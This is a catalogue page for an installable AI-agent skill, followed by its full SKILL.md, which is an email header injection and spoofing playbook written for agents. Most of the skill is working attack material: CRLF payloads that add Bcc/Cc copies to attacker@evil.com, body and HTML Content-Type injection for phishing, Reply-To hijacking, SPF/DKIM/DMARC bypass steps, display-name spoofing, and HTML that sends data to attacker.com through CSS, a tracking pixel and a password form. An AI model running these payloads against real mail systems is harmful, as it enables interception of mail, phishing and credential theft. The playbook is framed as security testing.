email-header-injection
Email header injection and spoofing playbook
Install / Use
npx skills add yaklang/hack-skills --skill email-header-injectionInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
CommunicationSupported Platforms
Our assessment of email-header-injection
email-header-injection scores 86/100 on our quality scale, 275th of 394 Communication skills we index.
Its SKILL.md is 10 KB long, well organised into 45 sections with 20 code examples: a thorough specification that gives an agent plenty to work with.
With 2,288 GitHub stars, it is one of the more widely adopted skills in the catalogue.
Maintenance, license and trust
- The repository was last updated about 2 months ago, so email-header-injection is actively maintained.
- Our last check on 2026-11-03 found the source still online.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit ā read the skill file before letting an agent act on it.
Safety scan
ReviewOur scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): Instructs the agent to inject CRLF payloads (e.g., %0d%0aBcc:attacker@evil.com) into email headers to silently exfiltrate copies of emails to an attacker address.
AI review: risky
- Instructs the agent to inject CRLF payloads (e.g., %0d%0aBcc:attacker@evil.com) into email headers to silently exfiltrate copies of emails to an attacker address.
- Directs the agent to take over email bodies, override Content-Type, inject Reply-To headers, and craft HTML phishing forms/pixels for credential theft and tracking.
- Includes SPF/DKIM/DMARC bypass techniques and display-name spoofing so the agent can send emails that appear to come from a victim domain or trusted sender.
AI review by kimi-k2.7-code with a second opinion from glm-5.3 on 2026-10-01. Automated pattern scan on 2026-10-01. It catches known dangerous patterns, not every risk ā read a skill before letting an agent act on it.
email-header-injection compared with similar skills
All 4 of these similar skills score higher than email-header-injection; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| email-header-injection (this skill)by yaklang | 86 | 2.3k | 2mo ago | SKILL.md |
| Agent-Reachby Panniantong | 100 | 112.3k | 8d ago | CLAUDE.md |
| headroomby headroomlabs-ai | 100 | 79.8k | today | CLAUDE.md |
| Scraplingby D4Vinci | 100 | 103.6k | 2d ago | MCP Server |
| crawl4aiby unclecode | 100 | 87.4k | 3d ago | MCP Server |
Frequently asked questions
- How do I install email-header-injection?
- Run
npx skills add yaklang/hack-skills --skill email-header-injection. The install tabs above show the steps for each supported agent. - Which AI agents does email-header-injection work with?
- It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is email-header-injection safe to use?
- Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): Instructs the agent to inject CRLF payloads (e.g., %0d%0aBcc:attacker@evil.com) into email headers to silently exfiltrate copies of emails to an attacker address. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is email-header-injection still maintained?
- The repository was last updated about 2 months ago, so email-header-injection is actively maintained.
Skill content
View source on GitHubname: email-header-injection description: >- Email header injection and spoofing playbook. Use when testing contact forms, email APIs, password reset flows, or any feature that constructs SMTP messages with user-controlled fields. Covers CRLF injection in headers, SPF/DKIM/DMARC bypass, and phishing amplification.
SKILL: Email Header Injection ā Expert Attack Playbook
AI LOAD INSTRUCTION: Expert email header injection and authentication bypass. Covers SMTP CRLF injection, SPF/DKIM/DMARC circumvention, display name spoofing, and mail client rendering abuse. Base models miss the nuance between header injection (technical) and email auth bypass (protocol-level) ā this skill covers both attack surfaces.
0. RELATED ROUTING
- crlf-injection ā general CRLF injection; email headers are a specific high-value sink
- ssrf-server-side-request-forgery ā when SMTP server is reachable via SSRF (gopher://smtp)
- open-redirect ā redirect in password-reset emails as phishing amplification
1. SMTP HEADER INJECTION FUNDAMENTALS
SMTP headers are separated by CRLF (\r\n). If user input is placed into email headers without sanitization, injecting %0d%0a (or \r\n) adds arbitrary headers.
Injection anatomy
Normal header construction:
To: user@example.com\r\n
Subject: Contact Form\r\n
From: noreply@target.com\r\n
Injected (via Subject field):
Subject: Hello%0d%0aBcc: attacker@evil.com\r\n
Result:
Subject: Hello\r\n
Bcc: attacker@evil.com\r\n
Encoding variants to try
| Encoding | Payload |
|---|---|
| URL-encoded | %0d%0a |
| Double URL-encoded | %250d%250a |
| Unicode | \u000d\u000a |
| Raw CRLF | \r\n (in raw request) |
| LF only | %0a (some SMTP servers accept LF without CR) |
| Null byte + CRLF | %00%0d%0a |
2. ATTACK SCENARIOS
2.1 BCC Injection ā Silent Email Exfiltration
Input field: email / name / subject
Payload: victim@target.com%0d%0aBcc:attacker@evil.com
Effect: attacker receives a copy of every email sent through this form
2.2 CC Injection with Header Stacking
Payload in "From name" field:
John%0d%0aCc:attacker@evil.com%0d%0aBcc:spy@evil.com
Result headers:
From: John
Cc: attacker@evil.com
Bcc: spy@evil.com
... (original headers continue)
2.3 Body Injection ā Full Email Content Control
A blank line (\r\n\r\n) separates headers from body in SMTP:
Payload in Subject:
Urgent%0d%0a%0d%0aPlease click: https://evil.com/phish%0d%0a.%0d%0a
Result:
Subject: Urgent
Please click: https://evil.com/phish
.
(Blank line terminates headers, everything after is body)
2.4 Reply-To Manipulation for Phishing
Payload in From name:
IT Support%0d%0aReply-To:attacker@evil.com
Victim sees "IT Support" as sender
Replies go to attacker@evil.com
2.5 Content-Type Injection for HTML Phishing
Payload:
test%0d%0aContent-Type: text/html%0d%0a%0d%0a<h1>Password Reset</h1><a href="https://evil.com">Click here</a>
Overrides Content-Type ā renders HTML in email client
3. COMMON VULNERABLE PATTERNS
PHP mail()
$to = $_POST['email'];
$subject = $_POST['subject'];
$message = $_POST['message'];
$headers = "From: noreply@target.com";
// ALL parameters are injectable:
mail($to, $subject, $message, $headers);
// $to injection: victim@x.com%0d%0aCc:attacker@evil.com
// $subject injection: Hello%0d%0aBcc:attacker@evil.com
// $headers injection: From: x%0d%0aBcc:attacker@evil.com
Python smtplib
msg = f"From: {user_from}\r\nTo: {user_to}\r\nSubject: {user_subject}\r\n\r\n{body}"
server.sendmail(from_addr, to_addr, msg)
# user_from / user_subject injectable if not sanitized
Node.js nodemailer
let mailOptions = {
from: req.body.from, // injectable
to: 'admin@target.com',
subject: req.body.subject, // injectable
text: req.body.message
};
transporter.sendMail(mailOptions);
4. SPF / DKIM / DMARC BYPASS TECHNIQUES
4.1 SPF (Sender Policy Framework) Bypass
SPF validates the MAIL FROM envelope sender IP against DNS TXT records.
| Technique | How |
|---|---|
| Subdomain delegation | Target has include:_spf.google.com; attacker uses Google Workspace to send as anything@mail.target.com |
| Include chain abuse | v=spf1 include:third-party.com ā if third-party allows broad sending |
| DNS lookup limit (10) | SPF allows max 10 DNS lookups; chains exceeding this ā permerror ā some receivers accept |
| +all misconfiguration | v=spf1 +all allows any IP (rare but exists) |
| ?all or ~all | Softfail/neutral ā most receivers still deliver to inbox |
| No SPF record | Domain without SPF ā anyone can send as that domain |
# Check SPF record:
dig TXT target.com +short
# Look for: v=spf1 ...
# Count DNS lookups (each include/a/mx/redirect = 1 lookup):
# >10 lookups = permerror = bypassed
4.2 DKIM (DomainKeys Identified Mail) Bypass
DKIM signs specific headers with a domain key. Bypass vectors:
| Technique | How |
|---|---|
| d= vs From: mismatch | DKIM signs with d=subdomain.target.com but From: ceo@target.com ā valid DKIM, spoofed From |
| l= tag abuse | l= limits body length signed; attacker appends content after signed portion |
| Replay attack | Capture valid DKIM-signed email, resend with modified unsigned headers |
| Missing h=from | If from header not in signed headers list (h=), From can be modified |
| Key rotation window | During DKIM key rotation, old selector may still validate |
# Check DKIM selector:
dig TXT selector._domainkey.target.com +short
# Common selectors: google, default, s1, s2, k1, dkim
4.3 DMARC (Domain-based Message Authentication) Bypass
DMARC requires SPF or DKIM to align with the From: header domain.
| Technique | How |
|---|---|
| Relaxed alignment (aspf=r) | SPF passes for sub.target.com, DMARC accepts for target.com |
| Organizational domain | mail.target.com aligns with target.com in relaxed mode |
| No DMARC record | Domain without DMARC ā no policy enforcement |
| p=none | DMARC exists but policy is none ā no enforcement, just reporting |
| Subdomain policy (sp=none) | Main domain p=reject but sp=none ā subdomains spoofable |
# Check DMARC:
dig TXT _dmarc.target.com +short
# Look for: v=DMARC1; p=none/quarantine/reject
4.4 Display Name Spoofing (Works Everywhere)
Even with perfect SPF/DKIM/DMARC, display name is not authenticated:
From: "admin@target.com" <attacker@evil.com>
From: "IT Security Team - target.com" <random@evil.com>
From: "noreply@target.com via Support" <attacker@evil.com>
Most email clients show only the display name in the inbox view. Mobile clients are especially vulnerable.
5. MAIL CLIENT RENDERING ATTACKS
CSS-based data exfiltration
<!-- In HTML email body -->
<style>
#secret[value^="a"] { background: url('https://attacker.com/leak?char=a'); }
#secret[value^="b"] { background: url('https://attacker.com/leak?char=b'); }
</style>
<input id="secret" value="TARGET_VALUE">
Remote image tracking
<img src="https://attacker.com/track?email=victim@target.com&t=TIMESTAMP" width="1" height="1">
<!-- Invisible pixel ā confirms email was opened, leaks IP, client info -->
Form action hijacking
<!-- Some email clients render forms -->
<form action="https://attacker.com/phish" method="POST">
<input name="password" type="password" placeholder="Confirm your password">
<button type="submit">Verify</button>
</form>
6. CONTACT FORM / EMAIL API INJECTION
# REST API
POST /api/send-email {"to":"user@target.com\r\nBcc:attacker@evil.com","subject":"Hello","body":"Test"}
# URL-encoded form
name=John&email=victim%40target.com%0d%0aBcc%3aattacker%40evil.com&message=test
# GraphQL
mutation { sendEmail(to:"user@target.com\r\nBcc:attacker@evil.com" subject:"Test" body:"Hello") }
7. TESTING METHODOLOGY
1. Find email features: contact forms, password reset, invite/share, newsletters
2. Test CRLF: inject test%0d%0aX-Injected:true in each field ā check received headers
3. Escalate: Bcc injection ā body injection ā Content-Type override
4. Parallel: dig TXT target.com (SPF) + dig TXT _dmarc.target.com (DMARC)
8. DECISION TREE
Found email-sending feature?
ā
āāā User input goes into email headers?
ā āāā YES ā Test CRLF injection
ā ā āāā %0d%0a in Subject/From/To field
ā ā ā āāā Extra header appears ā CONFIRMED
ā ā ā ā āāā Inject Bcc: ā silent exfiltration
ā ā ā ā āāā Inject body (blank line) ā content control
ā ā ā ā āāā Inject Reply-To: ā redirect replies
ā ā ā ā
ā ā ā āāā Filtered? ā Try encoding variants
ā ā ā āāā %250d%250a (double encode)
ā ā ā āāā %0a only (LF without CR)
ā ā ā āāā Unicode \u000d\u000a
ā ā ā
ā ā āāā All encodings blocked ā check SPF/DKIM/DMARC
ā ā
ā āāā NO (user input only in body) ā limited impact
ā āāā Check for HTML injection in email body
ā āāā If HTML rendered ā phishing / CSS exfil
ā
āāā Want to spoof emails from target domain?
ā āāā Check SPF: dig TXT target.com
ā ā āāā No SPF / +all / ~all ā direct spoofing possible
ā ā āāā -all ā SPF blocks; check DKIM/DMARC
ā ā
ā āāā Check DMARC: dig TXT _dmarc.target.com
ā ā āāā No DMARC / p=none ā spoofing delivered
ā ā āāā p=quarantine ā lands in spam but delivered
ā ā āāā p=reject ā blocked; try subdomain (sp= policy)
ā ā
ā āāā All strict ā Display name spoofing only
ā āāā "admin@target.com" <attacker@evil.com>
ā
āāā Testing password reset email?
āāā Check for token in URL ā open redirect chain?
ā āāā See ../open-redirect/SKILL.md
āāā Check for host header injection ā password reset poisoning
āāā See ../http-host-header-attacks/SKILL.md
9. QUICK REFERENCE ā KEY PAYLOADS
# BCC injection via Subject
Subject: Hello%0d%0aBcc:attacker@evil.com
# Body injection via From name
From: Test%0d%0a%0d%0aClick here: https://evil.com
# Reply-To hijack
From: Support%0d%0aReply-To:attacker@evil.com
# Full header stack injection
email=victim%40target.com%0d%0aCc%3aspy1%40evil.com%0d%0aBcc%3aspy2%40evil.com
# Display name spoof (no injection needed)
From: "security@target.com" <attacker@evil.com>
Related Skills
Agent-Reach
112.3kGive your AI agent eyes to see the entire internet. Read & search Twitter, Reddit, YouTube, GitHub, Bilibili, XiaoHongShu ā one CLI, zero API fees.
headroom
79.8kCompress tool outputs, logs, files, and RAG chunks before they reach the LLM. 20% fewer tokens for coding agents, 60-95% fewer tokens for JSON, same answers. Library, proxy, MCP server.
Scrapling
103.6kš·ļø The BEST Web Scraping framework that handles everything from a single request to a full-scale crawl! Don't be shy, join here: https://discord.gg/EMgGbDceNQ and follow here for daily tips and tricks: https://x.com/Scrapling_dev
crawl4ai
87.4kOfficial Crawl4AI Cloud: a hosted web scraping, extraction, and search API for AI agents. Free API key, 1,000 credits a month, no card. Fully open source: this repo is the Apache-2.0 crawler that powers it, and you can self-host it.
Languages
Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit ā see the Safety scan above for what the skill file itself contains.
